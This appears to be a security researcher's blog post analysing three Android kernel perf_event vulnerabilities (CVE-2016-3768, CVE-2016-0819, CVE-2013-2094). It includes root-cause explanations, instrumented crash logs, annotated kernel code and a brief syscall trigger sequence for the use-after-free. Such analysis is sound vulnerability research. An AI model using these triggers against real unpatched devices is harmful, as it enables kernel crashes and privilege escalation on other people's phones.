2016-09-04

PERF_EVENT VUL

cve-2016-3768

Due to the duplicate constraints, arch/arm/mach-msm/perfeventmsmkraitl2.c drivers marks the event as OFF but returns TRUE to perfevent.c which goes ahead and allocates the hwevent and enables it.

Since event is marked OFF, kernel events core will try to enable this event again during next perfeventenable.

Which results in same event enabled on multiple hw_events.

But during the perfrelease, event struct is freed and only one hwevent is released.

This results in dereferencing the invalid pointer and hence the crash.

crash and my kernel log

[   50.803798] [idhyt] --- call perf_event_open ---
[   50.806024] [idhyt] --- in perf_event_alloc --- 
[   50.806300] [idhyt] kzalloc event = e9859c00 
[   50.817401] [idhyt] --- in armpmu_add --- 
[   50.817808] [idhyt] event = e9859c00, hwc(hw_perf_event) = e9859cd0, hw_events(pmu_hw_events) = c11a5a68
[   50.819088] [idhyt] armpmu->get_event_idx = 0
[   50.819315] [idhyt] c11a5a68->events[0] = e9859c00
[   50.820089] [idhyt] call perf_event_open return, event_fd = 3, event = e9859c00, hw_perf_event = e9859cd0
[   50.820505] [idhyt] --- call perf_event_open ---
[   50.820736] [idhyt] --- in perf_event_alloc --- 
[   50.820966] [idhyt] kzalloc event = e9859800 
[   50.831431] [idhyt] --- in armpmu_add --- 
[   50.831660] [idhyt] event = e9859800, hwc(hw_perf_event) = e98598d0, hw_events(pmu_hw_events) = c11a5a68
[   50.832072] [idhyt] --- in msm_l2_test_set_ev_constraint --- 
[   50.832478] [idhyt] l2_pmu_constraints.pmu_bitmap = 0x1, bitmap_t = 0x1
[   50.832710] [idhyt] perf_event = e9859800, set event->state = PERF_EVENT_STATE_OFF, event->attr.constraint_duplicate = 1
[   50.833125] [idhyt] armpmu->get_event_idx = 1
[   50.833354] [idhyt] c11a5a68->events[1] = e9859800
[   50.834114] [idhyt] call perf_event_open return, event_fd = 4, event = e9859800, hw_perf_event = e98598d0

[   50.834537] [idhyt] ioclt: PERF_EVENT_IOC_ENABLE
[   50.835412] [idhyt] --- in armpmu_add --- 
[   50.835821] [idhyt] event = e9859800, hwc(hw_perf_event) = e98598d0, hw_events(pmu_hw_events) = c11a5a68
[   50.836238] [idhyt] --- in msm_l2_test_set_ev_constraint --- 
[   50.836469] [idhyt] l2_pmu_constraints.pmu_bitmap = 0x1, bitmap_t = 0x1
[   50.836878] [idhyt] perf_event = e9859800, set event->state = PERF_EVENT_STATE_OFF, event->attr.constraint_duplicate = 1
[   50.837300] [idhyt] armpmu->get_event_idx = 2
[   50.837530] [idhyt] c11a5a68->events[2] = e9859800
[   50.837972] [idhyt] --- in perf_release func
[   50.838202] [idhyt] event = e9859c00, event->state = 1
[   50.854583] [idhyt] --- in perf_release func
// // release events[1] !!!!!!
[   50.854763] [idhyt] event = e9859800, event->state = -1 

// // open new perf_event !!!!!!
[   96.572065] [idhyt] --- call perf_event_open ---  
[   96.572112] [idhyt] --- in perf_event_alloc --- 
[   96.572193] [idhyt] kzalloc event = e9859c00 
[   96.572384] [idhyt] --- in perf_init_event --- 
[   96.572673] [idhyt] --- in armpmu_event_init --- 
[   96.573138] [idhyt] --- in armpmu_reserve_hardware ---
[   96.573578] [idhyt] armpmu->request_pmu_irq
[   96.573622] [idhyt] --- in krait_l2_handle_irq --- 
[   96.573662] [idhyt] idx = 1
// // dereferencing the invalid pointer and crash!!!!!!
[   96.573731] [idhyt] event =  krait_l2_pmu_hw_events.events[1] = e9859800  
[   96.573771] [idhyt] armpmu_event_update
[   96.573841] [idhyt] --- in armpmu_event_update --- 
[   96.573881] [idhyt] event = e9859800, event->state = 538976288, hwc(hw_perf_event) = e98598d0, idx = 1
[   96.573954] Unable to handle kernel paging request at virtual address 202020d8
[   96.573994] pgd = eb3fc000
[   96.574063] [202020d8] *pgd=00000000
[   96.574142] Internal error: Oops: 5 [#1] PREEMPT SMP ARM
[   96.574184] CPU: 0    Not tainted  (3.4.0-geaa8415-dirty #25)
[   96.574262] PC is at armpmu_event_update+0x64/0x11c
[   96.574307] LR is at console_unlock+0x2d8/0x330
[   96.574378] pc : [<c0116bf4>]    lr : [<c01ae924>]    psr: 20000193
[   96.574380] sp : ea739b68  ip : ea739a50  fp : ea739b9c
[   96.574484] r10: e9859928  r9 : e98598d0  r8 : e9859800
[   96.574524] r7 : 20202020  r6 : 00000001  r5 : 00000000  r4 : 00000000
[   96.574594] r3 : 20202020  r2 : 9059756f  r1 : 60000193  r0 : 0000006d
[   96.574634] Flags: nzCv  IRQs off  FIQs on  Mode SVC_32  ISA ARM  Segment user
[   96.574705] Control: 10c5787d  Table: 337fc06a  DAC: 00000015
[   96.574774] 
[   96.574776] PC: 0xc0116b74:
[   96.574847] 6b74  ebffff8b eafffff7 00c95cc4 00c95cbc 00c95d04 00c95c98 00c95cd8 e1a0c00d
[   96.575241] 6b94  e92ddff0 e24cb004 e24dd00c e52de004 e8bd4000 e1a08000 e59f00f0 e1a09001
[   96.575608] 6bb4  e1a06002 e08f0000 eb28b0fd e59f00e0 e5982030 e1a03009 e58d6000 e1a01008
[   96.576008] 6bd4  e08f0000 e598702c eb28b0f5 e5983030 e3530000 ba000029 e289a058 e1ba4f9f
[   96.576376] 6bf4  e59730b8 e1a00006 e12fff33 e3a03000 e1a02000 f57ff05f e1ba0f9f e3a0c000
[   96.576775] 6c14  e1300004 01310005 01aacf92 e35c0000 1afffff8 f57ff05f e1510005 01500004
[   96.577145] 6c34  1affffed e1c709d0 e0524004 e0c35005 e288c038 e0000004 e0011005 e1bc4f9f
[   96.577543] 6c54  e0944000 e0a55001 e1acef94 e33e0000 1afffff9 e289c070 e1bc4f9f e0544000
[   96.577941] 
[   96.577942] LR: 0xc01ae8a4:
[   96.578015] e8a4  e2800004 eb00a841 e1a00004 eb26ab59 e595200c e5953004 e1a00004 e1a01006
[   96.578382] e8c4  e1520003 0a00000d eb26abe5 ebffff17 e3500000 0a00000d e3a03001 e50b3044
[   96.578784] e8e4  eaffff6e e1a02000 e51b104c e24b0032 ebfffce9 e51b3048 e5932008 eaffffd2
[   96.579154] e904  eb26abd7 e51b3044 e3530000 1affffee e51b3038 e3530000 0a000000 ebffff2b
[   96.579553] e924  e24bd028 e89daff0 e7f001f2 e59f0040 e08f0000 e2800004 eb00a81c e24bd028
[   96.579955] e944  e89daff0 011022d8 00f9d9b8 00f9d948 010030d4 00f9d934 010030bc 00f9d90c
[   96.580325] e964  00f9d89c fff5179c 00f9d7dc 011020c0 01002f34 01002ea0 e1a0c00d e92ddff0
[   96.580723] e984  e24cb004 e24dd074 e52de004 e8bd4000 e59f3630 e1a06000 e59f062c e1a05001
[   96.581121] 

cve-2016-0819

attr.disabled = 0; 

attr.constraint_duplicate = 1;

fd =syscall(__NR_perf_event_open, &attr, 0, -1, -1, 0); 

enable: event->state = PERF_EVENT_STATE_ACTIVE;

ioctl(fd, PERF_EVENT_IOC_DISABLE, 0); 

disable: event->state = PERF_EVENT_STATE_OFF

close(fd);
static int perf_release(struct inode *inode, struct file *file)
{
    struct perf_event *event = file->private_data;
    struct task_struct *owner;
    /*
     * Event can be in state OFF because of a constraint check.
     * Change to ACTIVE so that it gets cleaned up correctly.
     */
    if ((event->state == PERF_EVENT_STATE_OFF) &&
        event->attr.constraint_duplicate)
        event->state = PERF_EVENT_STATE_ACTIVE;
    ...
}

if (event->attr.constraintduplicate) event->state = PERFEVENTSTATEACTIVE;

static void
event_sched_out(struct perf_event *event,
          struct perf_cpu_context *cpuctx,
          struct perf_event_context *ctx)
{
    u64 tstamp = perf_event_time(event);
    u64 delta;
    /*
     * An event which could not be activated because of
     * filter mismatch still needs to have its timings
     * maintained, otherwise bogus information is return
     * via read() for time_enabled, time_running:
     */
    if (event->state == PERF_EVENT_STATE_INACTIVE
        && !event_filter_match(event)) {
        delta = tstamp - event->tstamp_stopped;
        event->tstamp_running += delta;
        event->tstamp_stopped = tstamp;
    }
    // !! should return, but event->state = PERF_EVENT_STATE_ACTIVE
    if (event->state != PERF_EVENT_STATE_ACTIVE)
        return;
    event->state = PERF_EVENT_STATE_INACTIVE;
    if (event->pending_disable) {
        event->pending_disable = 0;
        event->state = PERF_EVENT_STATE_OFF;
    }
    event->tstamp_stopped = tstamp;
    event->pmu->del(event, 0);    //  del again, crash !!!
    event->oncpu = -1;
    ...
}

crash backtrace

[11831.615804] [<c0241d00>] (perf_trace_del+0x20/0x4c) from [<c0247f2c>] (event_sched_out+0xb8/0x13c)
[11831.615890] [<c0247f2c>] (event_sched_out+0xb8/0x13c) from [<c024af0c>] (__perf_remove_from_context+0x58/0x94)
[11831.615977] [<c024af0c>] (__perf_remove_from_context+0x58/0x94) from [<c02495fc>] (remote_function+0x5c/0x68)
[11831.616066] [<c02495fc>] (remote_function+0x5c/0x68) from [<c020403c>] (smp_call_function_single+0x1d4/0x228)
[11831.616158] [<c020403c>] (smp_call_function_single+0x1d4/0x228) from [<c0b0e284>] (perf_remove_from_context+0x90/0x170)
[11831.616247] [<c0b0e284>] (perf_remove_from_context+0x90/0x170) from [<c024bdb8>] (perf_event_release_kernel+0x50/0xa0)
[11831.616333] [<c024bdb8>] (perf_event_release_kernel+0x50/0xa0) from [<c024bee8>] (perf_release+0xe0/0x114)
[11831.616424] [<c024bee8>] (perf_release+0xe0/0x114) from [<c0298bfc>] (fput+0xc8/0x244)
[11831.616479] [<c0298bfc>] (fput+0xc8/0x244) from [<c0295ffc>] (filp_close+0x74/0x9c)
[11831.616563] [<c0295ffc>] (filp_close+0x74/0x9c) from [<c02960fc>] (sys_close+0xd8/0x110)
[11831.616651] [<c02960fc>] (sys_close+0xd8/0x110) from [<c0109b00>] (ret_fast_syscall+0x0/0x30)
[11831.616702] Code: e1a03000 e590101c e5900240 e3520000 (e5812000)

cve-2013-2094

struct static_key {
    atomic_t enabled;
};

static inline void static_key_slow_inc(struct static_key *key)
{
    atomic_inc(&key->enabled);
}

static int perf_swevent_init(struct perf_event *event)
{
    int event_id = event->attr.config;
    ...
    // if event_id < 0 
    if (event_id >= PERF_COUNT_SW_MAX)
        return -ENOENT;
    if (!event->parent) {
        int err;
        err = swevent_hlist_get(event);
        if (err)
            return err;
        // could inc op array out of bouds
        static_key_slow_inc(&perf_swevent_enabled[event_id]);
        event->destroy = sw_perf_event_destroy;
    }
    return 0;
}

没有评论:

发表评论

Android Root Zap Framework

‎ 1. Warning 请遵守GPL开源协议, 请遵守法律法规, 本项目仅供学习和交流, 请勿用于非法用途! 道路千万条, 安全第一条, 行车不规范, 亲人两行泪. 2. Android Root Zap Frame...